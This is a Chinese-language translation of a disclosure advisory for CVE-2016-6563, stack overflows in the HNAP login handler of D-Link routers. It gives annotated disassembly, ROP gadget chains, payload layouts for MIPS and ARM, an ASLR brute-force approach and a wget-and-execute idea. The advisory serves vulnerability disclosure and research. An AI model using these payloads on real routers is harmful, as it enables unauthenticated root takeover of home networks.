翻譯:Ox9A82
預估稿費:200RMB(不服你也來投稿?。。?/strong>
投稿方式:發送郵件至linwei##,或登陸網頁版在線投稿
受影響產品的背景
智能手機,筆記本電腦,平板電腦,手機,智能電視,游戲機等設備都在同一時間進行連接。這就是為什么我們設計了新的AC3200 Ultra Wi-Fi路由器。通過Tri-Band技術,使得速度高達3.2Gbps,它提供了嚴苛環境下必要的超級性能,使得其成為最好的家庭無線路由器。
概要
Dlink路由器在LAN接口上存在一個名為HNAP(家庭網絡管理協議)的協議。這是一種允許識別,配置和管理網絡設備的SOAP協議。Dlink使用這個協議來實現通過LAN口與路由器的web接口進行通信。有關HNAP的更多信息,請參見[1]和[2]。
Dlink中的HNAP具有悠久的漏洞歷史。Craig Heffner似乎發現了大量這種類型的漏洞(見[3],[4],[5],[6],[7],[8])。
當進行HNAP登錄操作時,對SOAP消息內的XML標記進行處理時會觸發此漏洞。受影響的函數包含兩個棧溢出,這可以被未經驗證的攻擊者通過LAN進行利用。它影響了跨越ARM和MIPS體系結構的多個Dlink路由器。 Metasploit為這兩種架構設計的漏洞利用模塊已經發布[9]。
特別感謝CERT/CC和Trent Novelly幫助向供應商披露此漏洞。更多的有關信息,請參閱CERT的建議[10]。
技術細節
漏洞類型:棧溢出
CVE編號:CVE-2016-6563
攻擊向量:遠程
約束:可以被未經驗證的攻擊者利用。其他約束,請見下文。
受影響的版本:以下MIPS設備已被確認為易受攻擊
DIR-823
DIR-822
DIR-818L(W)
以下ARM設備已被確認為易受攻擊
DIR-895L
DIR-890L
DIR-885L
DIR-880L
DIR-868L -> Rev. B and C only
可能存在有上面沒有列出的其他受影響的設備。
漏洞詳細信息和MIPS環境的漏洞利用
漏洞函數為parse_xml_value(這是我自己定義的名字,不是一個符號)被/htdocs/cgibin中的hnap_main(二進制中的符號)所調用。
這個函數有3個參數:第一個是接受的對象/字符串,第二個是在請求內部解析的XML標簽名稱,第三個是一個指針,指向了應該返回的標簽值。
這個函數嘗試在請求對象中查找標簽名,然后獲取標簽的值,首先將其復制到本地變量,然后再復制到第三個參數中。此函數在執行HNAP登錄操作時被hnap_main調用,用于從上述SOAP請求中獲取Action,Username,LoginPassword和Catpcha的值。
123456789101112131415161718192021222324252627parse_xml_value(char* request, char* XMLtag, char* tag_value)
(...)
.text:00412264 xml_tag_value_start = $s2
.text:00412264 xml_tag_value_end = $s1
.text:00412264 C30 addu xml_tag_value_start, $v0, $s0 # s2 now points to <Action>$value</Action>
.text:00412268 C30 la $t9, strstr
.text:0041226C C30 move $a1, xml_tag_value_end # needle
.text:00412270 C30 jalr $t9 ; strstr
.text:00412274 C30 move $a0, xml_tag_value_start # haystack
.text:00412278 C30 lw $gp, 0xC30+var_C20($sp)
.text:0041227C C30 beqz $v0, loc_4122BC
.text:00412280 C30 subu xml_tag_value_end, $v0, xml_tag_value_start # s1 now holds the ptr to <Action>valuelt;/Action>
.text:00412284 C30 bltz xml_tag_value_end, loc_4122BC
.text:00412288 C30 addiu $s0, $sp, 0xC30+xml_tag_var
.text:0041228C C30 la $t9, strncpy
.text:00412290 C30 move $a2, xml_tag_value_end # n
.text:00412294 C30 move $a1, xml_tag_value_start # src
.text:00412298 C30 addu xml_tag_value_end, $s0, xml_tag_value_end
.text:0041229C C30 jalr $t9 ; strncpy # copies all chars in <Action>$valuelt;/Action> to xml_tag_var using strncpy
.text:004122A0 C30 move $a0, $s0 # dest
.text:004122A4 C30 move $a0, a2_ptr # a2_ptr is a stack variable from hnap_main (passed as third argument to parse_xml_value)
.text:004122A8 C30 lw $gp, 0xC30+var_C20($sp)
.text:004122AC C30 move $a1, $s0 # src
.text:004122B0 C30 la $t9, strcpy# copies xml_tag_var into a2_ptr using strcpy
.text:004122B4 C30 jalr $t9 ; strcpy # the stack of the calling function (hnap_main) is thrashed if 2408+ bytes are sent
.text:004122B8 C30 sb $zero, 0(xml_tag_value_end)
(...)
由于存在著兩個溢出漏洞,因此我們有兩個exp開發的選擇:
1. 本地堆棧(在parse_xml_value上)可以被超過3096字節的數據溢出。即使是使用了strncpy這種溢出也會發生,因為strncpy的參數只是對XML標簽中的值進行strlen得到的。
2. 或者,我們可以溢出調用函數(hnap_main)的堆棧,只需使用超過2408字節的數據即可。這是因為strcpy用于將xml_tag_var復制到由parse_xml_value接收的第三個參數,而它是一個指向hnap_main函數棧中局部變量的指針。
通過1. 進行利用要更容易一些,下面的例子將具體解釋利用該如何進行。
所有受影響的MIPS設備使用相同版本的uClibc(libuClibc-0.9.30.3.so)并且都將其加載到0x2aabe000地址,這使得固件版本對利用來說并不重要。應該注意的是,MIPS設備使用基于Lextra RLX5281核心的RTL8881a CPU。Lextra RLX核心是MIPS的克隆版本,但它有一些缺陷,因為它們缺少一些加載和存儲指令。由于這個原因,工作在MIPS上的一些通用shellcode可能無法工作在這些CPU(特別是經過混淆的)上。
這些設備不具有NX,ASLR或任何其他的現代內存保護機制,所以shellcode可以直接在堆棧上執行。但是,有必要通過ROP來設置堆棧以供執行,這可以通過libuClibc-0.9.30.3.so中的gadgets來實現。
由于MIPS CPU的工作方式,因此有必要在執行exp之前清除CPU的高速緩存。這可以通過調用libc中sleep()函數來強制清除。(參考http://blog.emaze.net/2011/10/exploiting-mips-embedded-devices.html關于MIPS CPU緩存的解釋)。
所以ROP鏈和shellcode看起來像:
1234567891011121314151617181920212223first_gadget - execute sleep and call second_gadget
.text:0004EA1C move $t9, $s0 <- sleep()
.text:0004EA20 lw $ra, 0x20+var_4($sp) <- second_gadget
.text:0004EA24 li $a0, 2 <- arg for sleep()
.text:0004EA28 lw $s0, 0x20+var_8($sp)
.text:0004EA2C li $a1, 1
.text:0004EA30 move $a2, $zero
.text:0004EA34 jr $t9
.text:0004EA38 addiu $sp, 0x20
second_gadget - puts stack pointer in a1:
.text:0002468C addiu $s1, $sp, 0x58
.text:00024690 li $s0, 0x44
.text:00024694 move $a2, $s0
.text:00024698 move $a1, $s1
.text:0002469C move $t9, $s4
.text:000246A0 jalr $t9
.text:000246A4 move $a0, $s2
third_gadget - call $a1 (which now has the stack pointer):
.text:00041F3C move $t9, $a1
.text:00041F40 move $a1, $a2
.text:00041F44 addiu $a0, 8
.text:00041F48 jr $t9
.text:00041F4C nop
當崩潰發生時,棧指針指向xml_tag_value[3128]。為了給shellcode留出更大的空間(3000+字節),可以跳到xml_tag_value[0]中。
123prep_shellcode_1 = 23bdf3c8 # addisp,sp,-3128
prep_shellcode_2 = 03a0f809 # jalrsp
branch_delay = 2084f830 # addia0,a0,-2000 (NOP executed as a MIPS branch delay slot)
最終的Action/Username/LoginPassword/Catpcha 的XML標簽值將是:
1shellcode +'a'*(3072 - shellcode.size)+ sleep()+'1'* 4 +'2'* 4 +'3'* 4 + third_gadget + first_gadget +'b'* 0x1c + second_gadget +'c '* 0x58 + prep_shellcode_1 + prep_shellcode_2 + branch_delay
'a','b'和'c'只是用于填充緩沖區的,而'1111','2222'和'3333'將是寄存器s1、s2、s3的值(這些寄存器對于exp是無用的),其余的是ROP鏈,shellcode和棧初始化程序。在payload中唯一不能發送的壞字節是空字節,因為這是一個str(n)cpy函數造成的溢出。最多可以發送3350個字符,因為超出之后很難去控制溢出的可靠性。注意,所有的這些利用的都是strncpy造成的第一個緩沖區溢出,但是第二個緩沖區溢出可以通過類似的方式進行利用。
如前面所述,由于使用了不完整的MIPS內核,因此在網上找到的通用shellcode可能會失敗??梢酝ㄟ^做一些微小的工作來解決它,但是最好的方法是去制作一個可靠的shellcode。如果沒有使用編碼器的話,Metasploit生成的簡單的bind shell似乎就可以穩定的工作。
123456789101112131415161718192021222324-----------------------
ARM exploitation
-----------------------
The same two stack overflows affect ARM, but require less bytes to overflow the stack. The following snippet is the same part of parse_xml_value as shown for MIPS (taken from firmware 2.03b01 for the DIR-868 Rev. B):
.text:00018F34 C30 LDR R1, [R11,#src] ; src
.text:00018F38 C30 LDR R2, [R11,#n] ; n
.text:00018F3C C30 SUB R3, R11, #-xml_tag_var
.text:00018F40 C30 SUB R3, R3, #4
.text:00018F44 C30 SUB R3, R3, #4
.text:00018F48 C30 MOV R0, R3 ; dest
.text:00018F4C C30 BL strncpy ; first overflow occurs here (xml_tag_var in parse_xml_stack) with 1024+ characters
.text:00018F50 C30 MOV R3, #0xFFFFFBEC
.text:00018F58 C30 LDR R2, [R11,#n]
.text:00018F5C C30 SUB R1, R11, #-var_4
.text:00018F60 C30 ADD R2, R1, R2
.text:00018F64 C30 ADD R3, R2, R3
.text:00018F68 C30 MOV R2, #0
.text:00018F6C C30 STRB R2, [R3]
.text:00018F70 C30 SUB R3, R11, #-xml_tag_var
.text:00018F74 C30 SUB R3, R3, #4
.text:00018F78 C30 SUB R3, R3, #4
.text:00018F7C C30 LDR R0, [R11,#a2_ptr] ; a2_ptr is is a stack variable from hnap_main
.text:00018F80 C30 MOV R1, R3 ; src
.text:00018F84 C30 BL strcpy ; second overflow occurs here
與MIPS的二進制文件相比,parse_xml_value和hnap_main的棧大小會變得更小。這一次,parse_xml_value中的strncpy溢出更容易被利用,只需要1024字節就足以溢出堆棧。與MIPS漏洞利用相同的是,唯一的壞字節是空字節。
受影響的ARM設備具有不可執行堆棧(NX)和32位ASLR的保護。 NX可以用ROP來關閉,而32位的ASLR很弱 - 地址中通常只有3個字節會發生變化,這意味著只有4096種可能。攻擊需要執行多次,直到命中了正確的基地址,但這通??梢栽谏儆?000次嘗試中實現。
最容易進行的攻擊是通過return-to-libc來調用system()函數執行命令。為此,R0在調用system()函數之前必須要指向命令所在的棧內存地址。所有受影響的ARM設備無論是何種固件版本的都使用相同的uClibc(libuClibc-0.9.32.1.so),這使得尋找gadgets更加容易,并允許構建一個可以在所有設備上使用的漏洞exp,并而無需進行任何修改。
1234567891011121314first_gadget (pops system() address into r3, and second_gadget into PC):
.text:00018298 LDMFD SP!, {R3,PC}
second_gadget (puts the stack pointer into r0 and calls system() at r3):
.text:00040CB8 MOV R0, SP
.text:00040CBC BLX R3
system() (Executes argument in r0 (our stack pointer)
.text:0005A270 system
The final Action / Username / LoginPassword / Catpcha XML parameter value will be:
'a' * 1024 + 0xffffffff + 'b' * 16 + 'AAAA' + first_gadget + system() + second_gadget + command
a / b = filler
0xffffffff = integer n (see below)
AAAA = R11
first_gadget = initial PC
payload = stack points here after execution of our ROP chain; it should point to whatever we want system() to execute
當溢出發生時,棧上局部變量“n”被覆蓋,這個局部變量是用于計算內存地址的(見0x18F58)。為了避免在shellcode執行之前該進程就發生崩潰,這個變量需要被設置為一個有效內存地址。一個比較好的候選值是0xffffffff,因為這將從計算的內存地址中減去1,以防止無效的內存訪問。
從這一點出發,可以在payload中執行任何命令。例如,wget可以用于下載shell并執行,或者可以啟動telnet服務器。所有命令將以root權限來執行。
修復建議
Dlink并沒有響應CERT的請求,因此在撰寫本文時并沒有可用的固件補丁。
鑒于此漏洞只能在LAN中進行利用,所以建議使用高強度的wifi密碼,以防止不受信任的客戶端連接到路由器。
參考鏈接
[1] https://isc.sans.edu//diary/More+on+HNAP+-+What+is+it,+How+to+Use+it,+How+to+Find+it/17648
[2] https://en.wikipedia.org/wiki/Home_Network_Administration_Protocol
[3] http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/
[4] http://www.devttys0.com/2015/04/what-the-ridiculous-fuck-d-link/
[5] http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/
[6] https://packetstormsecurity.com/files/134370/D-Link-DIR-818W-Buffer-Overflow-Command-Injection.html
[7] https://dl.packetstormsecurity.net/papers/attack/dlink_hnap_captcha.pdf
[8] http://www.dlink.com/uk/en/support/support-news/2015/april/13/hnap-privilege-escalation-command-injection
[9] https://github.com/rapid7/metasploit-framework/pull/7543
[10] https://www.kb.cert.org/vuls/id/677427
還沒有評論,來說兩句吧...